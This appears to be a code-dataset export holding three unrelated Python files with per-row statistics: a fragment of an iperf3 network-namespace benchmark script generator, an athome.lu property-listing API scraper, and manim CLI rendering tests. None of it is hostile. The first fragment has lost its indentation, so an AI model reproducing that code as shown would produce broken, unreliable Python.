settings.update(in_settings)
settings['counter_increment'] = counter_increment(**settings)
for key in ('result_file', 'ns1', 'ns2'):
if settings[key] is None:
raise ValueError('{} missing'.format(key))
if settings['protocol'] == 'udp':
settings['__udp_param'] = '--udp --bandwidth 0 '
else:
settings['protocol'] = 'tcp'
if settings['packet_size'] != 'default':
if settings['protocol'] == 'udp':
settings['__packet_size_param'] = '--length {} '.format(settings['packet_size'])
else:
settings['__packet_size_param'] = '--set-mss {} '.format(settings['packet_size'])
if settings['zerocopy']:
settings['__zerocopy_param'] = '--zerocopy '
settings['duration'] = int(settings['duration'])
if settings['duration'] < 5:
raise ValueError('Duration must be integer >= 5')
settings['kill_after'] = settings['duration'] + 15
settings['iostat_interval'] = 5
settings['iostat_count'] = settings['duration'] // settings['iostat_interval']
script = CommandBlock()
script += textwrap.dedent("""
mkdir -p `dirname {result_file}`
for i in `seq {parallelism}`; do
PORT=$((5201 + i))
ip netns exec {ns1} iperf3 -s --interval 0 --port $PORT &>/dev/null & IPERF_PIDs="$IPERF_PIDs $!"
done
if [ "{tcpdump}" == True ]; then #tcpdump
ip netns exec {ns1} tcpdump -s 96 -w {result_file}.pcap &>/dev/null & TCPDUMP_PID=$!
fi
server_addr=$(ip netns exec {ns1} ip addr show scope global | grep inet | cut -d' ' -f6 | cut -d/ -f1)
echo "Running iperf3 over {protocol} (with {parallelism} servers and clients)... "
sleep 1
(LC_ALL=C iostat -c {iostat_interval} {iostat_count} | awk 'FNR==3 {{ header = $0; print }} FNR!=1 && $0 != header && $0' >> {result_file}.cpu) & IOSTAT_PID=$! # CPU monitoring
for i in `seq {parallelism}`; do
PORT=$((5201 + i))
if [ "{affinity}" == True ]; then #affinity
NPROC=$(nproc)
PROC_CLIENT=$(( (i - 1) % NPROC ))
PROC_SERVER=$(( (i - 1 + {parallelism}) % NPROC ))
AFFINITY="--affinity $PROC_CLIENT,$PROC_SERVER"
fi
(ip netns exec {ns2} timeout --signal=KILL {kill_after} iperf3 --time {duration} --interval 0 $AFFINITY {__zerocopy_param}{__udp_param}{__packet_size_param} --client $server_addr --port $PORT --json >> {result_file}.iperf3.$i) &
CLIENT_IPERF_PIDs="$CLIENT_IPERF_PIDs $!"
done
wait $IOSTAT_PID $CLIENT_IPERF_PIDs
{counter_increment}
sleep 5 #let the load decrease
kill $IPERF_PIDs $TCPDUMP_PID
wait
sleep 1
""").format(**settings)
return script
| 41.307692
| 245
| 0.601904
| 1,135
| 9,666
| 4.921586
| 0.162996
| 0.048335
| 0.048335
| 0.022556
| 0.780165
| 0.775331
| 0.767096
| 0.758324
| 0.728965
| 0.684569
| 0
| 0.018408
| 0.235671
| 9,666
| 233
| 246
| 41.484979
| 0.737683
| 0.016346
| 0
| 0.772727
| 0
| 0.068182
| 0.6303
| 0.053972
| 0
| 0
| 0
| 0
| 0
| 1
| 0.022727
| false
| 0
| 0.009091
| 0.004545
| 0.054545
| 0.013636
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fc56cd4ee4d2a918f27d866512247c2095ecf14a
| 5,330
|
py
|
Python
|
python-crons/lib/queryBuilder.py
|
dantunescost/antunedo
|
b66517605f1231604aba620048eaca963ac2ae2b
|
[
"MIT"
] | null | null | null |
python-crons/lib/queryBuilder.py
|
dantunescost/antunedo
|
b66517605f1231604aba620048eaca963ac2ae2b
|
[
"MIT"
] | null | null | null |
python-crons/lib/queryBuilder.py
|
dantunescost/antunedo
|
b66517605f1231604aba620048eaca963ac2ae2b
|
[
"MIT"
] | null | null | null |
import requests
import json
from lib.utils import get_time_string
def query_immo_offers(page, immotype, sort):
url = "https://www.athome.lu/portal-srp/api/v1/search"
sort_field = "inserted|" + sort
body_data = {
"apireq": {
"site": "lu_at_home",
"page": page,
"size": 20,
"sort": [sort_field],
"fgroup": "srp",
"query": [
{
"where": [],
"filters": {
"immotype_id": [immotype],
"is_old_build": True,
"transaction.type": "buy"
},
"modifiers": {
"with_child": True,
"apply_to_child": True,
"with_characteristic": True,
"with_agencies": True
},
"seo": []
}
],
"aggregate": [
"last_inserted@20190331T220000Z"
]
},
"queryFilters": {
"tr": "buy"
},
"domain": "athome.lu",
"locale": "fr",
"uri": "/vente"
}
payload = json.dumps(body_data)
headers = {
'Content-Type': "application/json",
'Accept': "*/*",
'Origin': "https://www.athome.lu",
'Referer': "https://www.athome.lu/vente",
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/73.0.3683.103 Safari/537.36",
'cache-control': "no-cache"
}
response = requests.request("POST", url, data=payload, headers=headers)
if response is None:
print(payload)
return []
return response.json()['list']
def get_amount_of_pages(immotype):
url = "https://www.athome.lu/portal-srp/api/v1/search"
body_data = {
"apireq": {
"site": "lu_at_home",
"page": 1,
"size": 20,
"sort": [],
"fgroup": "srp",
"query": [
{
"where": [],
"filters": {
"immotype_id": [immotype],
"is_old_build": True,
"transaction.type": "buy"
},
"modifiers": {
"with_child": True,
"apply_to_child": True,
"with_characteristic": True,
"with_agencies": True
},
"seo": []
}
],
"aggregate": [
"last_inserted@20190331T220000Z"
]
},
"queryFilters": {
"tr": "buy"
},
"domain": "athome.lu",
"locale": "fr",
"uri": "/vente"
}
payload = json.dumps(body_data)
headers = {
'Content-Type': "application/json",
'Accept': "*/*",
'Origin': "https://www.athome.lu",
'Referer': "https://www.athome.lu/vente",
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/73.0.3683.103 Safari/537.36",
'cache-control': "no-cache"
}
response = requests.request("POST", url, data=payload, headers=headers)
return response.json()['paginator']['totalPages']
def last_inserted_offers(page, timestamp):
time_string = get_time_string(timestamp)
url = "https://www.athome.lu/portal-srp/api/v1/search"
body_data = {
"apireq": {
"site": "lu_at_home",
"page": page,
"size": 20,
"sort": ["inserted|asc"],
"fgroup": "srp",
"query": [
{
"where": [],
"filters": {
"is_old_build": True,
"transaction.type": "buy",
"inserted": {"gte": time_string}
},
"modifiers": {
"with_child": True,
"apply_to_child": True,
"with_characteristic": True,
"with_agencies": True
},
"seo": []
}
],
"aggregate": [
"last_inserted@" + time_string
]
},
"queryFilters": {
"tr": "buy"
},
"domain": "athome.lu",
"locale": "fr",
"uri": "/vente"
}
payload = json.dumps(body_data)
headers = {
'Content-Type': "application/json",
'Accept': "*/*",
'Origin': "https://www.athome.lu",
'Referer': "https://www.athome.lu/vente",
'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/73.0.3683.103 Safari/537.36",
'cache-control': "no-cache"
}
response = requests.request("POST", url, data=payload, headers=headers)
if response is None:
print(payload)
return []
return response.json()['list'], response.json()['paginator']['totalPages']
| 31.169591
| 111
| 0.428518
| 461
| 5,330
| 4.824295
| 0.253796
| 0.043165
| 0.056655
| 0.064748
| 0.85027
| 0.838579
| 0.838579
| 0.824191
| 0.824191
| 0.824191
| 0
| 0.038724
| 0.423452
| 5,330
| 170
| 112
| 31.352941
| 0.684998
| 0
| 0
| 0.71519
| 0
| 0.018987
| 0.322514
| 0.011257
| 0
| 0
| 0
| 0
| 0
| 1
| 0.018987
| false
| 0
| 0.018987
| 0
| 0.06962
| 0.012658
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5d920e253198d6f372948963f86933c68e6a9dec
| 17,857
|
py
|
Python
|
tests/test_scene_rendering/test_cli_flags.py
|
alembcke/manim
|
82729bdd1100dcec3808b237934f6c442bfedfe2
|
[
"MIT"
] | 1
|
2022-01-14T20:49:50.000Z
|
2022-01-14T20:49:50.000Z
|
tests/test_scene_rendering/test_cli_flags.py
|
alembcke/manim
|
82729bdd1100dcec3808b237934f6c442bfedfe2
|
[
"MIT"
] | null | null | null |
tests/test_scene_rendering/test_cli_flags.py
|
alembcke/manim
|
82729bdd1100dcec3808b237934f6c442bfedfe2
|
[
"MIT"
] | null | null | null |
import itertools
import os
import sys
from pathlib import Path
import numpy as np
import pytest
from click.testing import CliRunner
from PIL import Image
from manim import capture, get_video_metadata
from manim.__main__ import main
from manim.utils.file_ops import add_version_before_extension
from ..utils.video_tester import video_comparison
@pytest.mark.slow
@video_comparison(
"SquareToCircleWithDefaultValues.json",
"videos/simple_scenes/1080p60/SquareToCircle.mp4",
)
def test_basic_scene_with_default_values(tmp_path, manim_cfg_file, simple_scenes_path):
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"--media_dir",
str(tmp_path),
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
@pytest.mark.slow
def test_resolution_flag(tmp_path, manim_cfg_file, simple_scenes_path):
scene_name = "NoAnimations"
resolutions = [
(720, 480),
(1280, 720),
(1920, 1080),
(2560, 1440),
(3840, 2160),
(640, 480),
(800, 600),
]
separators = [";", ",", "-"]
for (width, height), separator in itertools.product(resolutions, separators):
command = [
sys.executable,
"-m",
"manim",
"--media_dir",
str(tmp_path),
"--resolution",
f"{width}{separator}{height}",
str(simple_scenes_path),
scene_name,
]
_, err, exit_code = capture(command)
assert exit_code == 0, err
path = (
tmp_path / "videos" / "simple_scenes" / f"{height}p60" / f"{scene_name}.mp4"
)
meta = get_video_metadata(path)
assert (width, height) == (meta["width"], meta["height"])
@pytest.mark.slow
@video_comparison(
"SquareToCircleWithlFlag.json",
"videos/simple_scenes/480p15/SquareToCircle.mp4",
)
def test_basic_scene_l_flag(tmp_path, manim_cfg_file, simple_scenes_path):
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
str(tmp_path),
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
@pytest.mark.slow
@video_comparison(
"SceneWithMultipleCallsWithNFlag.json",
"videos/simple_scenes/1080p60/SceneWithMultipleCalls.mp4",
)
def test_n_flag(tmp_path, simple_scenes_path):
scene_name = "SceneWithMultipleCalls"
command = [
sys.executable,
"-m",
"manim",
"-n 3,6",
"--media_dir",
str(tmp_path),
simple_scenes_path,
scene_name,
]
_, err, exit_code = capture(command)
assert exit_code == 0, err
@pytest.mark.slow
def test_s_flag_no_animations(tmp_path, manim_cfg_file, simple_scenes_path):
scene_name = "NoAnimations"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"-s",
"--media_dir",
str(tmp_path),
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
exists = (tmp_path / "videos").exists()
assert not exists, "running manim with -s flag rendered a video"
is_empty = not any((tmp_path / "images" / "simple_scenes").iterdir())
assert not is_empty, "running manim with -s flag did not render an image"
@pytest.mark.slow
def test_s_flag(tmp_path, manim_cfg_file, simple_scenes_path):
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"-s",
"--media_dir",
str(tmp_path),
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
exists = (tmp_path / "videos").exists()
assert not exists, "running manim with -s flag rendered a video"
is_empty = not any((tmp_path / "images" / "simple_scenes").iterdir())
assert not is_empty, "running manim with -s flag did not render an image"
@pytest.mark.slow
def test_s_flag_opengl_renderer(tmp_path, manim_cfg_file, simple_scenes_path):
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"-s",
"--renderer",
"opengl",
"--media_dir",
str(tmp_path),
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
exists = (tmp_path / "videos").exists()
assert not exists, "running manim with -s flag rendered a video"
is_empty = not any((tmp_path / "images" / "simple_scenes").iterdir())
assert not is_empty, "running manim with -s flag did not render an image"
@pytest.mark.slow
def test_r_flag(tmp_path, manim_cfg_file, simple_scenes_path):
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"-s",
"--media_dir",
str(tmp_path),
"-r",
"200,100",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
is_not_empty = any((tmp_path / "images").iterdir())
assert is_not_empty, "running manim with -s, -r flag did not render a file"
filename = add_version_before_extension(
tmp_path / "images" / "simple_scenes" / "SquareToCircle.png",
)
assert np.asarray(Image.open(filename)).shape == (100, 200, 4)
@pytest.mark.slow
def test_a_flag(tmp_path, manim_cfg_file, infallible_scenes_path):
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
str(tmp_path),
"-a",
infallible_scenes_path,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
one_is_not_empty = (
tmp_path / "videos" / "infallible_scenes" / "480p15" / "Wait1.mp4"
).is_file()
assert one_is_not_empty, "running manim with -a flag did not render the first scene"
two_is_not_empty = (
tmp_path / "videos" / "infallible_scenes" / "480p15" / "Wait2.mp4"
).is_file()
assert (
two_is_not_empty
), "running manim with -a flag did not render the second scene"
@pytest.mark.slow
def test_custom_folders(tmp_path, manim_cfg_file, simple_scenes_path):
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"-s",
"--media_dir",
str(tmp_path),
"--custom_folders",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
exists = (tmp_path / "videos").exists()
assert not exists, "--custom_folders produced a 'videos/' dir"
exists = add_version_before_extension(tmp_path / "SquareToCircle.png").exists()
assert exists, "--custom_folders did not produce the output file"
@pytest.mark.slow
def test_dash_as_filename(tmp_path):
code = (
"class Test(Scene):\n"
" def construct(self):\n"
" self.add(Circle())\n"
" self.wait()"
)
command = [
"-ql",
"-s",
"--media_dir",
str(tmp_path),
"-",
]
runner = CliRunner()
result = runner.invoke(main, command, input=code)
assert result.exit_code == 0
exists = add_version_before_extension(
tmp_path / "images" / "-" / "Test.png",
).exists()
assert exists, result.output
@pytest.mark.slow
def test_gif_format_output(tmp_path, manim_cfg_file, simple_scenes_path):
"""Test only gif created with manim version in file name when --format gif is set"""
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
str(tmp_path),
"--format",
"gif",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
unexpected_mp4_path = (
tmp_path / "videos" / "simple_scenes" / "480p15" / "SquareToCircle.mp4"
)
assert not unexpected_mp4_path.exists(), "unexpected mp4 file found at " + str(
unexpected_mp4_path,
)
expected_gif_path = (
tmp_path
/ "videos"
/ "simple_scenes"
/ "480p15"
/ add_version_before_extension("SquareToCircle.gif")
)
assert expected_gif_path.exists(), "gif file not found at " + str(expected_gif_path)
@pytest.mark.slow
def test_mp4_format_output(tmp_path, manim_cfg_file, simple_scenes_path):
"""Test only mp4 created without manim version in file name when --format mp4 is set"""
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
str(tmp_path),
"--format",
"mp4",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
unexpected_gif_path = (
tmp_path
/ "videos"
/ "simple_scenes"
/ "480p15"
/ add_version_before_extension("SquareToCircle.gif")
)
assert not unexpected_gif_path.exists(), "unexpected gif file found at " + str(
unexpected_gif_path,
)
expected_mp4_path = (
tmp_path / "videos" / "simple_scenes" / "480p15" / "SquareToCircle.mp4"
)
assert expected_mp4_path.exists(), "expected mp4 file not found at " + str(
expected_mp4_path,
)
@pytest.mark.slow
def test_videos_not_created_when_png_format_set(
tmp_path,
manim_cfg_file,
simple_scenes_path,
):
"""Test mp4 and gifs are not created when --format png is set"""
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
str(tmp_path),
"--format",
"png",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
unexpected_gif_path = (
tmp_path
/ "videos"
/ "simple_scenes"
/ "480p15"
/ add_version_before_extension("SquareToCircle.gif")
)
assert not unexpected_gif_path.exists(), "unexpected gif file found at " + str(
unexpected_gif_path,
)
unexpected_mp4_path = (
tmp_path / "videos" / "simple_scenes" / "480p15" / "SquareToCircle.mp4"
)
assert not unexpected_mp4_path.exists(), "expected mp4 file not found at " + str(
unexpected_mp4_path,
)
@pytest.mark.slow
def test_images_are_created_when_png_format_set(
tmp_path,
manim_cfg_file,
simple_scenes_path,
):
"""Test images are created in media directory when --format png is set"""
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
str(tmp_path),
"--format",
"png",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
expected_png_path = tmp_path / "images" / "simple_scenes" / "SquareToCircle0000.png"
assert expected_png_path.exists(), "png file not found at " + str(expected_png_path)
@pytest.mark.slow
def test_images_are_created_when_png_format_set_for_opengl(
tmp_path,
manim_cfg_file,
simple_scenes_path,
):
"""Test images are created in media directory when --format png is set for opengl"""
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--renderer",
"opengl",
"--media_dir",
str(tmp_path),
"--format",
"png",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
expected_png_path = tmp_path / "images" / "simple_scenes" / "SquareToCircle0000.png"
assert expected_png_path.exists(), "png file not found at " + str(expected_png_path)
@pytest.mark.slow
def test_images_are_zero_padded_when_zero_pad_set(
tmp_path,
manim_cfg_file,
simple_scenes_path,
):
"""Test images are zero padded when --format png and --zero_pad n are set"""
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
str(tmp_path),
"--format",
"png",
"--zero_pad",
"3",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
unexpected_png_path = tmp_path / "images" / "simple_scenes" / "SquareToCircle0.png"
assert not unexpected_png_path.exists(), "non zero padded png file found at " + str(
unexpected_png_path,
)
expected_png_path = tmp_path / "images" / "simple_scenes" / "SquareToCircle000.png"
assert expected_png_path.exists(), "png file not found at " + str(expected_png_path)
@pytest.mark.slow
def test_images_are_zero_padded_when_zero_pad_set_for_opengl(
tmp_path,
manim_cfg_file,
simple_scenes_path,
):
"""Test images are zero padded when --format png and --zero_pad n are set with the opengl renderer"""
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--renderer",
"opengl",
"--media_dir",
str(tmp_path),
"--format",
"png",
"--zero_pad",
"3",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
unexpected_png_path = tmp_path / "images" / "simple_scenes" / "SquareToCircle0.png"
assert not unexpected_png_path.exists(), "non zero padded png file found at " + str(
unexpected_png_path,
)
expected_png_path = tmp_path / "images" / "simple_scenes" / "SquareToCircle000.png"
assert expected_png_path.exists(), "png file not found at " + str(expected_png_path)
@pytest.mark.slow
def test_webm_format_output(tmp_path, manim_cfg_file, simple_scenes_path):
"""Test only webm created when --format webm is set"""
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
str(tmp_path),
"--format",
"webm",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
unexpected_mp4_path = (
tmp_path / "videos" / "simple_scenes" / "480p15" / "SquareToCircle.mp4"
)
assert not unexpected_mp4_path.exists(), "unexpected mp4 file found at " + str(
unexpected_mp4_path,
)
expected_webm_path = (
tmp_path / "videos" / "simple_scenes" / "480p15" / "SquareToCircle.webm"
)
assert expected_webm_path.exists(), "expected webm file not found at " + str(
expected_webm_path,
)
@pytest.mark.slow
def test_default_format_output_for_transparent_flag(
tmp_path,
manim_cfg_file,
simple_scenes_path,
):
"""Test .mov is created by default when transparent flag is set"""
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
str(tmp_path),
"-t",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
unexpected_webm_path = (
tmp_path / "videos" / "simple_scenes" / "480p15" / "SquareToCircle.webm"
)
assert not unexpected_webm_path.exists(), "unexpected webm file found at " + str(
unexpected_webm_path,
)
expected_mov_path = (
tmp_path / "videos" / "simple_scenes" / "480p15" / "SquareToCircle.mov"
)
assert expected_mov_path.exists(), "expected .mov file not found at " + str(
expected_mov_path,
)
@pytest.mark.slow
def test_mov_can_be_set_as_output_format(tmp_path, manim_cfg_file, simple_scenes_path):
"""Test .mov is created by when set using --format mov arg"""
scene_name = "SquareToCircle"
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
str(tmp_path),
"--format",
"mov",
simple_scenes_path,
scene_name,
]
out, err, exit_code = capture(command)
assert exit_code == 0, err
unexpected_webm_path = (
tmp_path / "videos" / "simple_scenes" / "480p15" / "SquareToCircle.webm"
)
assert not unexpected_webm_path.exists(), "unexpected webm file found at " + str(
unexpected_webm_path,
)
expected_mov_path = (
tmp_path / "videos" / "simple_scenes" / "480p15" / "SquareToCircle.mov"
)
assert expected_mov_path.exists(), "expected .mov file not found at " + str(
expected_mov_path,
)
@pytest.mark.slow
@video_comparison(
"InputFileViaCfg.json",
"videos/simple_scenes/480p15/SquareToCircle.mp4",
)
def test_input_file_via_cfg(tmp_path, manim_cfg_file, simple_scenes_path):
scene_name = "SquareToCircle"
with open(os.path.join(tmp_path, "manim.cfg"), "w") as file:
file.write(
f"""
[CLI]
input_file = {simple_scenes_path}
"""
)
command = [
sys.executable,
"-m",
"manim",
"-ql",
"--media_dir",
".",
str(tmp_path),
scene_name,
]
out, err, exit_code = capture(command, cwd=tmp_path)
assert exit_code == 0, err
| 26.612519
| 105
| 0.603181
| 2,128
| 17,857
| 4.773026
| 0.087406
| 0.053756
| 0.063011
| 0.059959
| 0.827803
| 0.799547
| 0.775229
| 0.746973
| 0.746973
| 0.723836
| 0
| 0.017983
| 0.277538
| 17,857
| 670
| 106
| 26.652239
| 0.76932
| 0.039144
| 0
| 0.704152
| 0
| 0
| 0.207751
| 0.025019
| 0
| 0
| 0
| 0
| 0.093426
| 1
| 0.038062
| false
| 0
| 0.020761
| 0
| 0.058824
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.